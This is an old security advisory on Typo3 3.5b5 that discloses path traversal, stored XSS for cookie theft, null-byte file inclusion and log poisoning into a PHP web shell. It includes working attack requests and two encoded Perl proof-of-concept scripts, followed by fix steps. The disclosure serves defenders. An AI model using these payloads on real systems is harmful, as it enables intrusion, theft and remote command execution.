COMMAND

	Typo3 remote file disclosure, command execution ...

SYSTEMS AFFECTED

	 Typo3 (Version 3.5b5 / Earlier versions are possibly vulnerable too)
	 Tested Plattforms: Linux / Slackware i686 / Apache 1.3.23 / PHP 4.1.2

PROBLEM

	In Martin Eiszner [martin@WebSec.org] advisory :
	
	 http://www.websec.org/adv/typo3.html
	
	TYPO3 is a free Open Source content  management  system  for  enterprise
	purposes on the web and in intranets. It  offers  full  flexibility  and
	extendability  while  featuring  an  accomplished  set   of   ready-made
	interfaces, functions and modules.
	
	
	0) CLIENT-SIDE DATA-OBFUSCATION
	
	form-fields  are  obfuscated  using  client-side  java-script  routines.
	after the  fields  are  joined  a  java-script  creates  MD5-hashes  and
	submits the form.
	
	examples: index.php (account-data), showpic.php(name-checksum)
	
	attached   perl-scripts   (typo.pl/showpic.pl)   demonstrate   how    to
	circumvent this protection.
	
	1) PATH-DISCLOSURE
	
	several test-, class- and library-scripts can be found  within  webroot.
	some of them can be forced to produce runtime errors  and  output  their
	physical path.
	
	example: /fileadmin/include_test.php
	
	
	2) PROOF OF FILE-EXISTENCE
	
	"showpic.php" and "thumbs.php" allow an attacker to check the  existense
	of arbitrary files.
	
	combined with file-enumeration methods it  is  possible  to  reconstruct
	parts of the directory- and filesystem - structure.
	
	example on howto check for  existing  files  with  attached  perl-script
	"showpic.pl":
	
	---*---
	sh> showpic.pl localhost '../../../../../../../../../../etc/hosts'
	../../../../../../../../../../etc/hosts exists
	---*---
	
	
	3) CROSS SITE SCRIPTING / COOKIE-THEFT
	
	all  system  and  login-errors  are   saved   in   the   typo3-database.
	administrators can view all the erroneous data.
	
	since this data is not being checked for XSS-content it is  possible  to
	include client-side script(java-script)-tags in these entries.
	
	every time the admins view their logs these scripts will be run  on  the
	admins web-browser which leads to a typical XSS-bug.
	
	thus making it possible to steal the admins-cookies or let  him  open  a
	new user-account without his knowledge.
	
	
	example with the attached "typo.pl" - perlscript:
	
	---*---
	sh> typo.pl localhost '><script>alert(document.cookie)</script><:aaa'
	---*---
	
	viewing the logfiles will execute the script.
	
	
	4) ARBITRARY FILE-RETRIEVAL
	
	the "dev/translations.php" - script does not  check  the  ONLY-parameter
	for malicious values.
	
	a relative path combined with a Nullbyte lead to the  inclusion  of  the
	given file.
	
	example http-request:
	
	---*---
	GET http://host/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00
	---*---
	
	
	5) ARBITRARY COMMAND EXECUTION
	
	extends vulnerability number 4):
	
	if the included file contains php-source code it will be executed.  thus
	allowing an attacker to execute operating-system commands  and  at  long
	sight escalate his privileges.
	
	example:
	
	a file for placing our malicious php-source is needed. if  there  is  no
	file we have write-access we still can use the websevers-logfiles.
	
	the following http-request:
	
	---cut---
	http://localhost/<%3f %60echo %27<%3fpassthru(%5c%24c)%3f>%27 >> ./x.php%60 %3f>
	---cut---
	
	creates this entry:
	
	---cut---
	[Tue Jan 14 19:42:53 2003] [error] [client 127.0.0.1] File does not exist: /apachepath/apache/htdocs/<? `echo '<?passthru(\$c
	)?>' >> ./x.php` ?>
	---cut---
	
	in a typicall apache - error_log file.
	
	using the method discussed under 4) the following http-request:
	
	---cut---
	http://localhost/typo3/typo3/dev/translations.php?ONLY=relative_apache_path/apache/logs/error_log%00'
	---cut---
	
	will  include  the  apach  error_log  in  our  output  and  execute  our
	php-commands. as a result we will find x.php in our "/dev" directory.
	
	x.php:
	
	---cut---
	<?passthru($c)?>
	---cut---
	
	
	
	6) SCRIPTS AND DIRECTORIES IN WEBROOT
	
	a couple of scripts, libraries,  files  and  directories  can  be  found
	within typo3s webroot.
	
	"/install" is improper protected and vulnerable to brute-force attacks.
	"/fileadmin" directory reveals log-files and demo-scripts
	"/typo3conf" directory contains the localconf.php,database.sql and other sensitive files
	
	
	 Remarks
	 =======
	
	the  serious  vulnerabilities  rely  on  the   "/dev"   (developer?)   -
	directory. scripts within this  directory  can  be  found  in  many/most
	production-environments!
	
	
	--Multipart_Fri__28_Feb_2003_10:37:04_+0100_082260a0
	Content-Type: application/octet-stream;
	 name="typo.pl"
	Content-Disposition: attachment;
	 filename="typo.pl"
	Content-Transfer-Encoding: base64
	
	IyEvdXNyL2Jpbi9wZXJsCnVzZSBzdHJpY3Q7CnVzZSBHZXRvcHQ6OlN0ZDsKdXNlIExXUDo6VXNl
	ckFnZW50Owp1c2UgSFRUUDo6UmVxdWVzdDsKdXNlIEhUVFA6OlJlc3BvbnNlOwp1c2UgSFRUUDo6
	SGVhZGVyczsKdXNlIEhUTUw6OkZvcm07CnVzZSBEaWdlc3Q6Ok1ENSBxdyhtZDVfaGV4KTsKCm15
	ICgkdGhlaG9zdCwkYWNjb3VudCkgPSBAQVJHVjsKbXkgKCR1aWQsJHB3ZCkgPSBzcGxpdCgvOi8s
	JGFjY291bnQsMik7Cm15ICRwYXNzID0gJHB3ZDsKcHJpbnQgIlxuY2hlY2tpbmcgJHRoZWhvc3Qg
	fCAkdWlkIHwgJHB3ZFxuIjsKJHB3ZCA9IG1kNV9oZXgoIiRwd2QiKTsKCm15ICRjb250ZW50ID0g
	IiI7Cm15ICR1c2VyaWRlbnQgPSAiIjsKCm15ICRoZHMgPSBIVFRQOjpIZWFkZXJzLT5uZXc7Cm15
	ICR1YSA9IG5ldyBMV1A6OlVzZXJBZ2VudCgpOwpwdXNoIEB7ICR1YS0+cmVxdWVzdHNfcmVkaXJl
	Y3RhYmxlIH0sICdQT1NUJzsKJHVhLT5hZ2VudCgiT3BlcmEgNi4wIik7CgpteSAkdXJpID0gImh0
	dHA6Ly8iLiR0aGVob3N0LiIvdHlwbzMvdHlwbzMvaW5kZXgucGhwIjsKbXkgJHJlcSA9IEhUVFA6
	OlJlcXVlc3QtPm5ldygiR0VUIiwgJHVyaSwgJGhkcywgJGNvbnRlbnQpOwpteSAkcmVzID0gJHVh
	LT5yZXF1ZXN0KCRyZXEpOwpteSAkcmVzX2hlYWRzID0gJHJlcy0+aGVhZGVyczsKCm15ICRjb29r
	aWUgPSAkcmVzX2hlYWRzLT5oZWFkZXIoIlNldC1Db29raWUiKTsKbXkgJGZvcm0gPSBIVE1MOjpG
	b3JtLT5wYXJzZSgkcmVzLT5jb250ZW50LCAiJHVyaSIpOwpteSAkY2hhbGxlbmdlID0gJGZvcm0t
	PnZhbHVlKCJjaGFsbGVuZ2UiKTsKJHVzZXJpZGVudCA9IG1kNV9oZXgoIiR1aWQ6JHB3ZDokY2hh
	bGxlbmdlIik7CgokaGRzLT5oZWFkZXIoJ0Nvb2tpZScgPT4gIiRjb29raWUiKTsKJGhkcy0+aGVh
	ZGVyKCdDb250ZW50LVR5cGUnID0+ICAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk
	Iik7CiRjb250ZW50ID0gICJ1c2VybmFtZT0kdWlkJnBfZmllbGQ9JnVzZXJpZGVudD0kdXNlcmlk
	ZW50JmNoYWxsZW5nZT0kY2hhbGxlbmdlJnJlZGlyZWN0X3VybD1hbHRfbWFpbi5waHAiOwokY29u
	dGVudCAuPSAiJmxvZ2luUmVmcmVzaD0mbG9naW5fc3RhdHVzPWxvZ2luJmludGVyZmFjZT1hbHRl
	cm5hdGl2ZSI7CgpteSAkcmVxID0gSFRUUDo6UmVxdWVzdC0+bmV3KCJQT1NUIiwgJHVyaSwgJGhk
	cywgJGNvbnRlbnQpOwpteSAkcmVzID0gJHVhLT5yZXF1ZXN0KCRyZXEpOwoKJHJlc19oZWFkcyA9
	ICRyZXMtPmhlYWRlcnM7CiRjb29raWUgPSAkcmVzX2hlYWRzLT5oZWFkZXIoIlNldC1Db29raWUi
	KTsKCnByaW50ICJcblJlc2NvZGU6Ii4kcmVzLT5jb2RlKCkuIlxuIi4kcmVzX2hlYWRzLT5hc19z
	dHJpbmcoKS4iXG5cbiI7CiNwcmludCAiXG4iLiRyZXNfaGVhZHMtPmFzX3N0cmluZygpLiJcblxu
	Ii4kcmVzLT5jb250ZW50KCkuIlxuXG4iOwo=
	
	
	--Multipart_Fri__28_Feb_2003_10:37:04_+0100_082260a0
	Content-Type: application/octet-stream;
	 name="showpic.pl"
	Content-Disposition: attachment;
	 filename="showpic.pl"
	Content-Transfer-Encoding: base64
	
	IyEvdXNyL2Jpbi9wZXJsCnVzZSBMV1A6OlVzZXJBZ2VudDsKdXNlIEhUVFA6OlJlcXVlc3Q7CnVz
	ZSBIVFRQOjpSZXNwb25zZTsKdXNlIERpZ2VzdDo6TUQ1IHF3KG1kNV9oZXgpOwooJGhvLCRmaSkg
	PSBAQVJHVjsKJG1kNSA9IG1kNV9oZXgoIiRmaXx8fHwiKTsKJHVhID0gbmV3IExXUDo6VXNlckFn
	ZW50KCk7ICR1YS0+YWdlbnQoIk9wZXJhIDYuMCIpOwokdXJpID0gImh0dHA6Ly8iLiRoby4iL3R5
	cG8zL3Nob3dwaWMucGhwP2ZpbGU9JGZpJm1kNT0kbWQ1IjsKJHJlcSA9IEhUVFA6OlJlcXVlc3Qt
	Pm5ldygiR0VUIiwkdXJpKTsKJHJlcyA9ICR1YS0+cmVxdWVzdCgkcmVxKTsKaWYgKCRyZXMtPmNv
	bnRlbnQgIX4gL3dhcyBub3QgZm91bmQvICYmICRyZXMtPmNvbnRlbnQgIX4gL05vIHZhbGlkLykg
	e3ByaW50ICJcbiRmaSBleGlzdHNcbiI7fQplbHNlIHtwcmludCAiXG4kZmkgbm90IGZvdW5kXG4i
	O30K
	
	--Multipart_Fri__28_Feb_2003_10:37:04_+0100_082260a0--
	

SOLUTION

	Install the new Version : http://typo3.org/1331.0.html
	
	or
	
	 1) remove "/install" directory
	 2) remove "/dev" directory
	 3) Choose strong administrator-passwords
	 4) showpic.php and thumbs.php must be patched.
	 5) remove all demo-directories and protect "/fileadmin" and "/typo3conf"